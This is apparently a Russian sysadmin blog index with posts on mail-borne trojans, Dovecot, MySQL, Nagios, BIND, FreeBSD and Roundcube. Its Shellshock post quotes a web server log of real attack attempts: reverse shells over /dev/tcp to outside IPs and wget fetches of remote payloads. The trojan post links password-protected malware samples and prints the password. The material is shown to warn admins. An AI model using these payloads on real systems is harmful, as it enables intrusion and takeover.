Win.Trojan.Agent в почте и headers_check в Postfix

Тут недавно отгребал кучу вирусни в почте, к сожалению наличие ClamAV с актуальными базами на почтовом сервере ниразу не спасало 🙁 Письма были шаблонные, тема одна и та же, вложение — zip файл photo.zip или iphone_photo.zip (несколько раз еще приходили transact_store.zip) который внутри содержит вирус exe-шник … основная разница только в том с какого хоста, от кого и кому шлют.
Вот примеры вложений с вирусом сохраненные из тех спам-писем для анализа, можете проверить на стойкость свои антивирусы 🙂
Надо? — жми!
Архив запаролен: FhiibNAfNm
Для тех кто верит мне на слово будет достаточно скриншота с содержимым данного архива:
Email with Virus
Вся эта беда сыпется по почте, ниже пример сообщения Читать полностью

Dovecot2 + zlib = сжатие сообщений на сервере

При обновлении порта dovecot2 заметил в меню «Config» опцию Zlib, может она уже 100 лет там была … но только сейчас заметил. Сразу подумалось — фишка интересная, надо опробовать. Оказалось настраивается крайне просто, так я сделал в FreeBSD … но думаю конфигурация для Linux ничем не отличается.
Сразу перед настройкой решил отправить себе тестовое письмо для наглядности эффективности сжатия, в google-mail быстренько создал письмецо, влил туда какойто первый попавшийся лог … для иммитации текста и пульнул на свой сервак. Замысел в том чтобы после настройки сжатия кинуть такоеже письмецо и сравнить простое и сжатое 🙂
Настройка проще не придумаешь!
В конфиге /usr/local/etc/dovecot/conf.d/15-lda.conf сделал так:

protocol lda {
  # Space separated list of plugins (default is global mail_plugins).
  mail_plugins = $mail_plugins zlib
}

И в конфиге плагинов /usr/local/etc/dovecot/conf.d/90-plugin.conf сделал вот так:

plugin {
  #setting_name = value
  zlib_save_level = 7 # 1..9
  zlib_save = bz2     # or bz2, xz or lz4
}

После этого перегрузил сервис:

root@mx1:~# service dovecot restart

И повторил отправку тестового письма Читать полностью

MySQL — master/slave replication error «Duplicate entry»

Не так давно в очередной раз отвалилась MySQL реплика!
Казалось бы репликация в mysql за многие годы должна быть вылизана до идеала, но почемуто на практике это не так. Очень часто репликация master/slave в MySQL отваливается с ошибкой:

2014-09-26 08:57:14 42399 [ERROR] Slave SQL: Could not execute Write_rows_v1 event on table diff_wp.wp_options; Duplicate entry '_transient_is_multi_author' for key 'option_name', Error_code: 1062; handler error HA_ERR_FOUND_DUPP_KEY; the event's master log mysql-bin.000051, end_log_pos 128112, Error_code: 1062
2014-09-26 08:57:14 42399 [ERROR] Error running query, slave SQL thread aborted. Fix the problem, and restart the slave SQL thread with "SLAVE START". We stopped at log 'mysql-bin.000051' position 127907

У меня уже такое было, и я писал что на тот момент нашел временное решение. Но почему временное? Просто не было времени разбираться, а разобравшись … понял что тот вариант не совсем мне подходил. Итак, вариантов решения много — выбирай что нравится! Читать полностью

Nagios3 — Мониторим Bandwidth в ESX 5.x через SNMP

Расскажу и покажу как мониторить загруженность сетевых интерфейсов (bandwidth) в ESX версии 5.x через SNMP. К слову сказать, с помощью SNMP в ESX можно мониторить загрузку CPU, памяти, винтов и прочие параметры … но главное понять принцип как это делается, а дальше — дело техники! Для начала на серваке с ESX нужно включить SNMP. Не вижу смысла повторять героический подвиг и ваять скриншотики, вот тут коллеги уже прекрасно справились — тыц!
Итак, далее предполагаю что Nagios3 у вас уже установлен и настроен. Поехали дельше … Читать полностью

Уязвимость в bash CVE-2014-6271 (ShellShock) — какеры атакуют :)

Как говорится … «не прошло и недели», как школота уже вовсю юзает недавно обнаруженную столетнюю дыру в bash. Я уже писал заметку об этой серьезной уязвимости. Данный же пост для тех толстокожих админов кто думает «А мне все пофиг, я сделан из мяса …» или так «Обновления придумали глупые программеры для того чтобы впаривать админам новые глюки старых программ» 🙂 Короче всем неверующим, коротенький листинг лога http сервера, отфильтровано по слову «bash«:

25/Sep/2014:09:22:09 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
25/Sep/2014:22:21:23 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
27/Sep/2014:10:45:27 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (400) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
29/Sep/2014:13:21:13 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
30/Sep/2014:22:34:04 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22wget http://82.221.105.197/bash-count.txt\x22"
02/Oct/2014:12:29:54 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c 'wget http://185.10.58.175/agent'"
02/Oct/2014:13:17:57 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c '/usr/bin/wget http://185.10.58.175/agent'"
15/Oct/2014:22:13:56 "GET /cgi-bin/gsweb.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:56 "GET /cgi-bin/redirector.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/test.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/index.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/help.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/details.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:00 "GET /cgi-bin/log.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:01 "GET /cgi-bin/viewcontent.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/vidredirect.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/mailview.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/webmail.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/finger.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/click.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:14 "GET /cgi-bin/content.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
20/Oct/2014:16:51:34 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
29/Oct/2014:21:41:45 "GET /cgi-sys/entropysearch.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:45 "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /index.php HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
30/Oct/2014:00:39:42 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (444) "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
31/Oct/2014:11:04:10 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
01/Nov/2014:00:02:49 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /tmp;wget 61.156.8.189/use;curl -O

И поверьте, это сервер на котором всего пара захудалых web сайтов с посещением до 10 чел/сутки, на бойких серверах популярных ресурсов таких запросов сотни, ато и тысячи в сутки 🙂
Читайте новости, обновляйтесь, проверяйте свои сервера, мониторьте нагрузку и тд, если не хотите стать участником бот-нета!

Хай щастить!

Joomla 1.7.3 Upgrade to 1.7.5: Error Undefined property: stdClass::$category_note

Сломался у меня на днях один сайтик, ну точнее не совсем у меня и не совсем сломался … ну то детали. Какеры постарались, мать их! Ну Joomla была лохматой версии 1.7.3 и как она досих пор прожила без присмотра — для меня загадка. Но речь не об том. Почистив гору всякого контрафактного файла и восстановив доступ к админке, я решил Jooml-у обновить. Решил что минорного обновления до версии 1.7.5 в моем случае будет более чем достаточно. Несмотря на минорность в пакете обновления зашла приличная пачка различных security исправлений … чего мне и требовалось. Обновить данную CMS дело несложное, даже для полного нуба в Joomla как я, это особого труда не составило. Но после обновления вылезла неожиданная беда! На некоторых страницах вместо текста появились вот такие ошибки:

Notice: Undefined property: stdClass::$category_note in /home/www/templates/jblank/html/com_content/article/basic.php on line 6

И еще вот такие: Читать полностью

FreeBSD 9.x — Настройка Master/Slave named (Bind9)

Хорошо когда чтолибо работает автоматически и так как хочется! Меньше рутины — больше времени для веселья!
Есть 2 сервера с FreeBSD, на них установлен Bind9 (во FreeBSD он зовется named) и задача — настроить на них Bind в режиме Master/Slave, для того чтобы любые изменения зон на Master автоматически транслировались на Slave. Согласитесь, негоже одни и те же настройки повторять на разных серверах, когда они могу синкаться автоматически 🙂

Bind Master host — 111.111.111.111
Bind Slave host — 99.99.99.99

Чтобы не повторяться с путями, переходим в директорию bind-а:

root@master:~ # cd /etc/namedb

Не люблю когда все навалено в одну директорию скопом, поэтому для ключей я создал отдельную директорию:

root@master:/etc/named# mkdir keys

Генерация ключа — простая штука, в help-е dnssec-keygen можете найти все типы поддерживаемых ключей, я выбрал HMAC-SHA512

root@master:/etc/namedb# dnssec-keygen -K keys -a HMAC-SHA512 -b 512 -n HOST -r /dev/urandom master.key
Kmaster.key.+163+63477
root@master:/etc/namedb#

тут, -K keys — директория куда сохранится сгенереный ключ
-a HMAC-SHA512 — тип шифрования
-b 512 — размер
-n HOST — тип ключа, в данном случае на хост
-r /dev/urandom — место одкуда берем случайную последовательность символов
master.key — название ключа, может быть каким хотите, это особой роли не играет

Сам сгенеренный файл нам не нужен, нам нужен только ключ, чтобы его найти смотрим файлик .private, интересуют строка Key.
К примеру, у меня так:

root@master:/etc/namedb# cat keys/Kmaster.key.+163+63477.private
Private-key-format: v1.3
Algorithm: 165 (HMAC_SHA512)
Key: P6dUIUT5pfdgYtsnN90ePPeWqV1l3695RS56dBPsn3EmYDkpdQ5ts9Ym8ZqKkDezRAm8s9ljZjpvU1rTUuTssA==
Bits: AAA=
Created: 20141028083403
Publish: 20141028083403
Activate: 20141028083403
root@master:/etc/namedb#

Создаем файлик, куда поместим ключ нашего master сервера:

root@master:/etc/namedb# vim keys/my.keys

формат такой:

key "master.key" {
  algorithm HMAC-SHA512;
  secret "P6dUIUT5pfdgYtsnN90ePPeWqV1l3695RS56dBPsn3EmYDkpdQ5ts9Ym8ZqKkDezRAm8s9ljZjpvU1rTUuTssA==";
};

Подключаем этот файл в конфиг named, для этого открываем главный конфиг named.conf

root@master:/etc/namedb# vim named.conf

и добавляем строчку (куда добавлять — не имеет значения, я добавил непосредственно перед частью конфига с master зонами, чтоб было на виду):

include "/etc/namedb/keys/my.keys";

Теперь создадим простенькую зону для проверки правильной работы сервиса, я использовал вот такую зону для тестов:

root@master:/etc/namedb# cat master/black13-org-ua.db
$TTL 604800 ; 1 hour default TTL
black13.org.ua. IN      SOA     ns1.black13.org.ua.     admin.black13.org.ua.   (
                                2014102801 ; Serial
                                8H ; Refresh
                                1H ; Retry
                                1W ; Expire
                                1D ) ; minimum, seconds
;
; DNS Servers
                IN      NS      ns1.black13.org.ua.
                IN      NS      ns2.black13.org.ua.
; MX Records
;                IN      MX 10   mx.black13.org.ua.
;                IN      MX 20   mail.example.org.
                IN      A       155.12.21.155
; Machine Names
localhost       IN      A       127.0.0.1
ns1             IN      A       111.111.111.111
ns2             IN      A       99.99.99.99
;mx              IN      A       88.88.88.88
;mail            IN      A       192.168.1.5

; Aliases
www             IN      CNAME   black13.org.ua.

root@master:/etc/namedb#

Теперь те зоны которые хотим передавать на slave-сервер (я тренировался на тестовой black13.org.ua) нужно настроить вот так:

zone "black13.org.ua" {
    type master;
    file "/etc/namedb/master/black13-org-ua.db";
    notify yes;
    allow-transfer { 99.99.99.99; key "master.key";};
    allow-update { none; };
};

И чтоб применить изменения — перегружаем named (bind):

root@master:/etc/namedb# service named restart
Stopping named.
Waiting for PIDS: 1835.
Starting named.
root@master:/etc/namedb#

С мастером все!

Настройка slave сервера тоже не сложная!
Сначала тоже самое … переходим в директорию /etc/namedb и создаем директорию keys:

root@slave:~ # cd /etc/namedb
root@slave:/etc/namedb# mkdir keys

Тектовым редактором создаем файл ключа:

root@slave:/etc/namedb# vim keys/master.key

Формат на Slave-сервере чуть другой чем на мастере, ключ такойже:

key "master.key" {
  algorithm HMAC-SHA512;
  secret "P6dUIUT5pfdgYtsnN90ePPeWqV1l3695RS56dBPsn3EmYDkpdQ5ts9Ym8ZqKkDezRAm8s9ljZjpvU1rTUuTssA==";
};
server 111.111.111.111 {
  keys { master.key; };
};

Теперь в главном конфиге named.conf нужно включить конфигурацию ключа:

include "/etc/namedb/keys/master.key";

и в этом же конфиге пример зоны:

zone "black13.org.ua" {
    type slave;
    file "/etc/namedb/slave/black13-org-ua.db";
    masters { 111.111.111.111; };
    allow-notify { 111.111.111.111; };
};

Обратите внимание что на slave нужно размещать файлы зон в директории /etc/namedb/slave, иначе нарветесь на ошибку:

Oct 29 11:21:03 slave named[68349]: dumping master file: /etc/namedb/master/tmp-7f25W0C4p4: open: permission denied

Все! Настройка закончена.
Перегружаем named (bind):

root@slave:/etc/namedb# service named restart
Stopping named.
Waiting for PIDS: 1743.
Starting named.
root@slave:/etc/namedb#

И вот он результат! Если вы все сделали верно, на slave-сервере в директории /etc/namedb/slave появится файлик black13-org-ua.db с вот таким содержимым:

root@slave:/etc/namedb# cat slave/black13-org-ua.db
$ORIGIN .
$TTL 604800     ; 1 week
black13.org.ua          IN SOA  ns1.black13.org.ua. admin.black13.org.ua. (
                                2014102801 ; serial
                                28800      ; refresh (8 hours)
                                3600       ; retry (1 hour)
                                604800     ; expire (1 week)
                                86400      ; minimum (1 day)
                                )
                        NS      ns1.black13.org.ua.
                        NS      ns2.black13.org.ua.
                        A       155.12.21.155
$ORIGIN black13.org.ua.
localhost               A       127.0.0.1
ns1                     A       111.111.111.111
ns2                     A       99.99.99.99
www                     CNAME   black13.org.ua.
root@slave:/etc/namedb#

А теперь самое веселое … на мастере поменяйте чтолибо в файлике black13-org-ua.db (смените либо добавьте HOST A,CNAME,TXT или что угодно), увеличте на 1 параметр «serial» и перегрузите named. На slave это изменение применится автоматически без каких либо вмешательств со стороны админа 🙂

Хай щастить!

FreeBSD 9.2 — Upgrade to 9.3 by SVN

Моя любимая ОС FreeBSD снова поменяла технологию обновления между релизами. На этот раз на мусорку истории попал простой и давно освоенный мной инструмент csup и уже начиная с релиза 9.2 вместо csup при сорцовом апгрейде предлагают использовать svn. Ну чтож, когдато освоили csup, освоим и svn. Итак, обновлялся с 9.2 до 9.3 уже по новомодному:
Сначала удалил старые сорцы/сборки:

root@srv1:~# rm -rf /usr/obj
root@srv1:~# rm -rf /usr/src
root@srv1:~# mkdir /usr/obj
root@srv1:~# mkdir /usr/src

До этого момента думаю все и так ясно, а вот тут финт ушами … svn вместо csup:

root@srv1:~# svn co https://svn0.eu.freebsd.org/base/release/9.3.0/ /usr/src
(this results in Revision: 256108)
root@srv1:~#

Ну и дальше идет все также как я описывал ранее …. с момента настройки /etc/src.conf и далее.

P.S. Пост пустячный и вроде как ниочем, но капец как уже задолбали бесконечные обновления инструментов/портов/пакетов в FreeBSD. Запомнить это все нету никакой возможности … не то что в Debian — все стабильно как говно мамонта 🙂
Хай щастить!

Roundcube 0.9.5 Upgrade to 1.0.3 — «DB Schema: NOT OK»

Тот кто сталкивался с обновлением Roundcube наверняка знает что обновить его это тот еще гемор 🙂 Вот и в этот раз я столкнулся с трудностями обновления с версии 0.9.5 до 1.0.3. То что конфиги разные и имеют разный формат — это ложка дегтя … ну да ладно. А вот обновления БД всегда были «поребриком» о который спотыкается каждый 🙂 Короче, наткнулся на такую вот ошибку: «DB Schema: NOT OK»
В инсталлере есть кнопочка «Update» которая якобы должна решить эту проблему, вот же она:

Roundcube - Upgrade SQL DB
но какую бы версию я не выбирал — ничего Читать полностью

Ошибка в FreeBSD — «Error from bsd.apache.mk. apache22 is installed (or APACHE_PORT is defined) and port requires apache.»

При установке mod_php для apache22 нарвался на вот такую ошибку:

root@ns:/usr/ports/www/mod_php56# make install clean
===>  mod_php56-5.6.2 is marked as broken: : Error from bsd.apache.mk. apache22 is installed (or APACHE_PORT is defined) and port requires apache.
*** [install] Error code 1

Stop in /usr/ports/www/mod_php56.
root@ns:/usr/ports/www/mod_php56#

Ох уж эта фря … опять чтото ей не нравится 🙁 Решение оказалось простое, нужно добавить опцию DEFAULT_VERSIONS+=apache=2.2 в make.conf
Читать полностью